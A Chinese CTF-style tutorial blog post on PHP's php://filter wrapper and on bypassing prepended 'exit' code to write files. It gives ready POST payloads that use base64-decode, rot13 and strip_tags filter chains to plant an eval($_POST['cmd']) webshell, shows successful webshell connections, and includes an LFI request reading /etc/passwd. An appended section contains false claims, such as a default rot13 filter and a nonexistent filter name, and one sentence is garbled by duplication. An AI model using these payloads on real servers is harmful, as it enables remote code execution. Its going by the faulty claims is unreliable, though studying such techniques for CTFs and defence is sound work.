php://filter伪协议(总结)与死亡代码的绕过


php伪协议想必大家都不陌生,因为在写ctf题目的时候我们经常在文件包含的时候使用到它。

比如下面这个payload:

php://filter/convert.base64-encode/resource=flag.php

这一串payload我们经常在想要获取源码的时候使用,但是伪协议具体是怎么构造的以及包含了哪些部分我们貌似很少有去想过。

下面我就来给大家重新介绍一下php://filter伪协议,以及如何利用这个伪协议绕过死亡代码。

php://filter总结

介绍

php://filter 是 PHP 中的一种伪协议,用于在读取或写入文件时对数据流进行过滤和转换。它允许你在不修改原始文件的情况下,对文件内容执行各种编码、解码或转换操作,常用于安全审计、数据处理或漏洞利用场景。

使用前提:开启了allow_url_fopen和allow_url_include

语法:php://filter/[读|写过滤器列表]/resource=目标文件

名称描述
resource=目标文件必须。用于指定你要筛选过滤的数据流。
read=<读链的筛选列表>可选。用于指定一个或多个过滤器名称,以管道符(`
write=<写链的筛选列表>可选。用于指定一个或多个过滤器名称,以管道符(`

过滤器

过滤器(Filter) 是一种用于处理数据流的程序或函数,它接收输入数据,对其进行特定转换或筛选,并输出处理后的结果。在php中,过滤器分为字符串过滤器、转换过滤器、压缩过滤器以及加密过滤器。

过滤器大全可以参考php手册里的内容https://www.php.net/manual/zh/filters.encryption.php

转换过滤器

作用:对数据流进行编码,通常用来读取文件源码。

常见的转换过滤器如下

convert.base64-encode:将内容 Base64 编码。
convert.base64-decode:将 Base64 内容解码。
convert.quoted-printable-encode:引号可打印编码。
convert.quoted-printable-decode:引号可打印解码。

convert.iconv.*:一种字符编码转换过滤器
语法;
convert.iconv.目标编码/源编码			convert.iconv.UTF-8/GBK	
convert.iconv.源编码.目标编码			convert.iconv.utf8.utf16
字符串过滤器

该类通常以string开头,对每个字符都进行同样方式的处理。

string.toupper:转为大写。
string.tolower:转为小写。
string.strip_tags:这个过滤器就比较有意思,用来处理掉读入的所有标签,例如XML的等等。在绕过死亡exit大有用处。
string.rot13:字符右移十三位。
加密过滤器

mcrypt.*/mdecrypt.*:使用 MCrypt 扩展进行加密 / 解密(PHP 7.2 + 已移除)

压缩过滤器

注意,这里的压缩过滤器指的并不是在数据流传入的时候对整个数据进行写入文件后压缩文件,也不代表可以压缩或者解压数据流。压缩过滤器不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。

用到的两个相关过滤器:zlib.deflate(压缩)和 zlib.inflate(解压)。zilb是比较主流的用法,至于bzip2.compress和 bzip2.decompress工作的方式与 zlib 过滤器大致相同。

php://filter/zlib.deflate|zlib.inflate/resource=flag.php
等同于
php://filter/resource=flag.php

常用的payload

php://filter/convert.base64-encode/resource=flag.php
php://filter/convert.base64-decode/resource=flag.php
php://filter/convert.quoted-printable-encode/resource=flag.php
php://filter/convert.iconv.UTF-8/GBK/resource=flag.php
php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
php://filter/bzip2.compress/resource=flag.php
php://filter/string.rot13/resource=flag.php
php://filter/string.tolower/resource=flag.php

绕过死亡exit

什么是死亡exit?

我们看如下的代码

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

可以看到在 c o n t e n t 的开头有一段 e x i t 的过程,这个时候我们写入一句话木马并拼接 content的开头有一段exit的过程,这个时候我们写入一句话木马并拼接 content的开头有一段exit的过程,这个时候我们写入一句话木马并拼接content

里后会发现,由于开头一直有一个exit的存在,会使得我们的一句话木马并不会被执行。(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,我们怎么绕过exit让我们的一句话木马生效呢??

幸运的是,file_put_contents()函数中,第一个参数是可以使用php伪协议的,也就是说我们可以借助php://filter协议以及各种过滤器来达到某些效果。以下是两种最常见的绕过方式。

base64绕过

众所周知,base64为什么叫base64?那是因为它只能使用a-zA-Z0-9以及+/这64个字符进行编码,所以如果对不在这64个字符里的字符串进行base64解码的话,便会直接忽略。

一个正常的base64_decode实际上可以理解为如下两个步骤:

<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

又因为$content开头的死亡代码中包含<?; ?>这些字符,而这些字符并不在64个字符里,所以对其进行base64解码便会忽略掉这些字符,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

这里便可以使用php://filter伪协议来达到解码的效果,payload如下

# POST
filename=php://filter/write=convert.base64-decode/resource=kirito.php&txt=aPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==其实就是一句话木马的base64编码。

注意一定要在开头加上个a,来凑满8个字符满足base64解码要求。

最后效果如下

image-20250720210012259

可以看到解码后,前面的死亡代码变成了乱码,而后面的一句话木马还是正常的,都变乱码了自然不会被解析。尝试用Webshell工具连接一下

image-20250720210233380

非常完美,成功连接

string.rot13绕过

string.rot13是常用的字符串过滤器,作用是右移13位也就是rot13编码。

<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>

在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了。

当然我们写入的一句话木马要求是经过rot13编码后恢复原状

payload如下

filename=php://filter/write=string.rot13/resource=kirito.php&txt=<?cuc riny($_CBFG['pzq']);?>

效果如下

image-20250720212045730

尝试使用Webshell工具连接

image-20250720212143303

非常完美的连接上了,可以看到前面的那一串php引擎根本不识别。

string.strip_tags与base64组合拳绕过

string.strip_tags也是字符串过滤器,作用是用来处理掉读入的所有标签。

比如说

<?php exit;?>Test

经过string.strip_tags以后
Test

可见,<?php exit; ?>被去除了。但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。

这个时候我们便可以使用组合技能,也就是同时使用string.strip_tags与convert.base64-decode过滤器。这样我们只需要传入的一句话木马是base64编码过的,便不会被string.strip_tags给去除掉,然后再经过base64解码后恢复原状。

payload如下:

filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=kirito.php&txt=PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

这个时候的txt开头就不需要加a了

效果如下:

image-20250720215443060

非常完美,只有一句话木马,没有任何多余的。

用Webshell工具连接试试。

image-20250720215526552

成功连接。


以上便是最常用的三种绕过死亡exit的方式。

三种绕过方式皆学自p神博客里的文章

谈一谈php://filter的妙用

还有更多的绕过技巧可以参考下面这篇博客

file_put_content和死亡·杂糅代码之缘

### ### php://filter 伪协议的使用方法及示例 `php://filter` 是 PHP 提供的一个特殊协议,用于在文件流操作中应用各种过滤器。它允许在读取或写入文件时对内容进行过滤或转换,适用于压缩、加密、解码、字符编码转换等场景。该协议在 CTF 比赛和安全测试中常用于读取 PHP 源码,绕过某些文件读取限制。 #### 使用方法 `php://filter` 的基本语法如下: ``` php://filter/[<过滤器名>:<参数>]/resource=<文件路径> ``` 其中 `<过滤器名>` 是可选的,若未指定则默认为 `string.rot13`;`<参数>` 可用于指定编码方式,如 `convert.base64-encode`;`<文件路径>` 是目标文件的路径。 例如,读取 `06.php` 文件的源代码并以 Base64 编码输出: ``` php://filter/convert.base64-encode/resource=06.php ``` 此方法常用于绕过 Web 服务器对 `.php` 文件的直接访问限制,通过 Base64 编码方式读取文件内容,再在客户端进行解码。 #### 常见用途示例 1. **读取 PHP 文件源码** 使用 `php://filter/convert.base64-encode` 可以将目标文件的内容进行 Base64 编码,从而绕过 Web 服务器的文件类型限制。例如: ```http GET /index.php?page=php://filter/convert.base64-encode/resource=flag.php HTTP/1.1 Host: example.com ``` 服务器响应中将包含 Base64 编码的 `flag.php` 文件内容,解码后即可查看源码。 2. **字符编码转换** `php://filter` 还可用于字符编码转换,例如将文件内容从 UTF-8 转换为 UTF-16: ``` php://filter/convert.iconv.UTF-8.UTF-16/resource=data.txt ``` 3. **多层过滤器嵌套** 可以使用多个过滤器进行嵌套处理,例如先进行 Base64 编码,再进行 ROT13 转换: ``` php://filter/convert.base64-encode|convert.string.rot13/resource=data.txt ``` 4. **防御绕过文件包含漏洞利用** 在某些存在本地文件包含(LFI)漏洞的 PHP 应用中,攻击者可通过 `php://filter` 读取敏感文件内容。例如,若应用中存在如下代码: ```php include($_GET['page'] . '.php'); ``` 攻击者可构造如下请求读取 `/etc/passwd`: ```http GET /index.php?page=php://filter/resource=/etc/passwd HTTP/1.1 ``` 若服务器未正确配置,攻击者即可读取系统文件内容。 #### 安全建议 - **避免直接使用用户输入作为文件路径**:应使用白名单机制控制可包含的文件。 - **禁用危险的伪协议**:在 `php.ini` 中设置 `allow_url_include=Off`,防止远程文件包含。 - **限制文件读取权限**:确保 Web 服务器运行在低权限账户下,避免访问系统敏感文件。 - **输入过滤编码处理**:对用户输入进行严格校验,避免构造恶意路径。 ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值